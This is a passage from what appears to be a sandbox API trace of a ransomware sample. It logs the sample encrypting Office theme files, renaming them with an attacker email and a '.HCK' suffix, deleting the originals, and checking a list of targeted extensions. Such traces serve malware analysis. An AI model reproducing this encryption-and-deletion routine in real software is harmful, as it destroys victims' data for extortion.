Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.065] lstrlenW (lpString=".1cd") returned 4 [0231.065] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.065] lstrlenW (lpString=".jpg") returned 4 [0231.065] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.065] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0231.065] lstrlenW (lpString="Extreme Shadow.eftx") returned 19 [0231.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0231.066] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=340217) returned 1 [0231.066] CloseHandle (hObject=0x49c) returned 1 [0231.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220 [0231.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0231.067] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.067] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0231.068] GetLastError () returned 0x0 [0231.068] ReadFile (in: hFile=0x49c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x530f9, lpOverlapped=0x0) returned 1 [0231.078] WriteFile (in: hFile=0x4d4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x53100, lpOverlapped=0x0) returned 1 [0231.084] ReadFile (in: hFile=0x49c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0231.084] WriteFile (in: hFile=0x4d4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xfa, lpOverlapped=0x0) returned 1 [0231.084] SetEndOfFile (hFile=0x4d4) returned 1 [0231.084] CloseHandle (hObject=0x4d4) returned 1 [0231.084] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.084] SetEndOfFile (hFile=0x49c) returned 1 [0231.171] CloseHandle (hObject=0x49c) returned 1 [0231.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1 [0231.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.172] lstrlenW (lpString=".doc") returned 4 [0231.172] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.172] lstrlenW (lpString=".docx") returned 5 [0231.172] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.172] lstrlenW (lpString=".pdf") returned 4 [0231.172] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.172] lstrlenW (lpString=".xls") returned 4 [0231.172] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.172] lstrlenW (lpString=".xlsx") returned 5 [0231.172] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.172] lstrlenW (lpString=".ppt") returned 4 [0231.172] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.172] lstrlenW (lpString=".zip") returned 4 [0231.172] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.172] lstrlenW (lpString=".rar") returned 4 [0231.172] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.172] lstrlenW (lpString=".bz2") returned 4 [0231.172] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.172] lstrlenW (lpString=".7z") returned 3 [0231.172] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.172] lstrlenW (lpString=".dbf") returned 4 [0231.172] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.172] lstrlenW (lpString=".1cd") returned 4 [0231.172] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.172] lstrlenW (lpString=".jpg") returned 4 [0231.172] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.172] lstrlenW (lpString=".doc") returned 4 [0231.172] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.172] lstrlenW (lpString=".docx") returned 5 [0231.172] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.172] lstrlenW (lpString=".pdf") returned 4 [0231.172] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.173] lstrlenW (lpString=".xls") returned 4 [0231.173] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.173] lstrlenW (lpString=".xlsx") returned 5 [0231.173] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.173] lstrlenW (lpString=".ppt") returned 4 [0231.173] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.173] lstrlenW (lpString=".zip") returned 4 [0231.173] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.173] lstrlenW (lpString=".rar") returned 4 [0231.173] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.173] lstrlenW (lpString=".bz2") returned 4 [0231.173] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.173] lstrlenW (lpString=".7z") returned 3 [0231.173] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.173] lstrlenW (lpString=".dbf") returned 4 [0231.173] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.173] lstrlenW (lpString=".1cd") returned 4 [0231.173] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0231.173] lstrlenW (lpString=".jpg") returned 4 [0231.173] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.173] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0231.173] lstrlenW (lpString="Frosted Glass.eftx") returned 18 [0231.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0231.174] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=334131) returned 1 [0231.174] CloseHandle (hObject=0x49c) returned 1 [0231.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220 [0231.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0231.174] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.174] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0231.175] GetLastError () returned 0x0 [0231.175] ReadFile (in: hFile=0x49c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x51933, lpOverlapped=0x0) returned 1 [0231.186] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x51940, lpOverlapped=0x0) returned 1 [0231.190] ReadFile (in: hFile=0x49c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0231.190] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf8, lpOverlapped=0x0) returned 1 [0231.190] SetEndOfFile (hFile=0x544) returned 1 [0231.191] CloseHandle (hObject=0x544) returned 1 [0231.191] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.191] SetEndOfFile (hFile=0x49c) returned 1 [0231.198] CloseHandle (hObject=0x49c) returned 1 [0231.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1 [0231.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.199] lstrlenW (lpString=".doc") returned 4 [0231.199] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.199] lstrlenW (lpString=".docx") returned 5 [0231.199] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.199] lstrlenW (lpString=".pdf") returned 4 [0231.199] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.199] lstrlenW (lpString=".xls") returned 4 [0231.199] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.199] lstrlenW (lpString=".xlsx") returned 5 [0231.199] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.199] lstrlenW (lpString=".ppt") returned 4 [0231.199] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.199] lstrlenW (lpString=".zip") returned 4 [0231.199] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.199] lstrlenW (lpString=".rar") returned 4 [0231.199] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.199] lstrlenW (lpString=".bz2") returned 4 [0231.199] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.199] lstrlenW (lpString=".7z") returned 3 [0231.199] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.199] lstrlenW (lpString=".dbf") returned 4 [0231.199] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.199] lstrlenW (lpString=".1cd") returned 4 [0231.199] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.199] lstrlenW (lpString=".jpg") returned 4 [0231.200] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.200] lstrlenW (lpString=".doc") returned 4 [0231.200] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.200] lstrlenW (lpString=".docx") returned 5 [0231.200] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.200] lstrlenW (lpString=".pdf") returned 4 [0231.200] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.200] lstrlenW (lpString=".xls") returned 4 [0231.200] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.200] lstrlenW (lpString=".xlsx") returned 5 [0231.200] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.200] lstrlenW (lpString=".ppt") returned 4 [0231.200] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.200] lstrlenW (lpString=".zip") returned 4 [0231.200] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.200] lstrlenW (lpString=".rar") returned 4 [0231.200] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.200] lstrlenW (lpString=".bz2") returned 4 [0231.200] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.200] lstrlenW (lpString=".7z") returned 3 [0231.200] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.200] lstrlenW (lpString=".dbf") returned 4 [0231.200] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.200] lstrlenW (lpString=".1cd") returned 4 [0231.200] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0231.200] lstrlenW (lpString=".jpg") returned 4 [0231.200] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.200] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0231.200] lstrlenW (lpString="Glossy.eftx") returned 11 [0231.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0231.201] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=335038) returned 1 [0231.201] CloseHandle (hObject=0x49c) returned 1 [0231.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220 [0231.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0231.202] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.202] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0231.202] GetLastError () returned 0x0 [0231.202] ReadFile (in: hFile=0x49c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x51cbe, lpOverlapped=0x0) returned 1 [0231.778] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x51cc0, lpOverlapped=0x0) returned 1 [0231.783] ReadFile (in: hFile=0x49c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0231.783] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xea, lpOverlapped=0x0) returned 1 [0231.783] SetEndOfFile (hFile=0x544) returned 1 [0232.266] CloseHandle (hObject=0x544) returned 1 [0232.373] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.373] SetEndOfFile (hFile=0x49c) returned 1 [0232.380] CloseHandle (hObject=0x49c) returned 1 [0232.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1 [0232.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.395] lstrlenW (lpString=".doc") returned 4 [0232.395] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.395] lstrlenW (lpString=".docx") returned 5 [0232.395] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.395] lstrlenW (lpString=".pdf") returned 4 [0232.395] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.395] lstrlenW (lpString=".xls") returned 4 [0232.395] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString=".xlsx") returned 5 [0232.396] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.396] lstrlenW (lpString=".ppt") returned 4 [0232.396] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.396] lstrlenW (lpString=".zip") returned 4 [0232.396] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString=".rar") returned 4 [0232.396] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString=".bz2") returned 4 [0232.396] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString=".7z") returned 3 [0232.396] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.396] lstrlenW (lpString=".dbf") returned 4 [0232.396] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.396] lstrlenW (lpString=".1cd") returned 4 [0232.396] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.396] lstrlenW (lpString=".jpg") returned 4 [0232.396] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.396] lstrlenW (lpString=".doc") returned 4 [0232.396] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString=".docx") returned 5 [0232.396] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.396] lstrlenW (lpString=".pdf") returned 4 [0232.396] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString=".xls") returned 4 [0232.396] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString=".xlsx") returned 5 [0232.396] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.396] lstrlenW (lpString=".ppt") returned 4 [0232.396] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.396] lstrlenW (lpString=".zip") returned 4 [0232.396] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString=".rar") returned 4 [0232.396] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString=".bz2") returned 4 [0232.396] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString=".7z") returned 3 [0232.396] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.396] lstrlenW (lpString=".dbf") returned 4 [0232.396] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0232.396] lstrlenW (lpString=".1cd") returned 4 [0232.396] lstrcmpiW 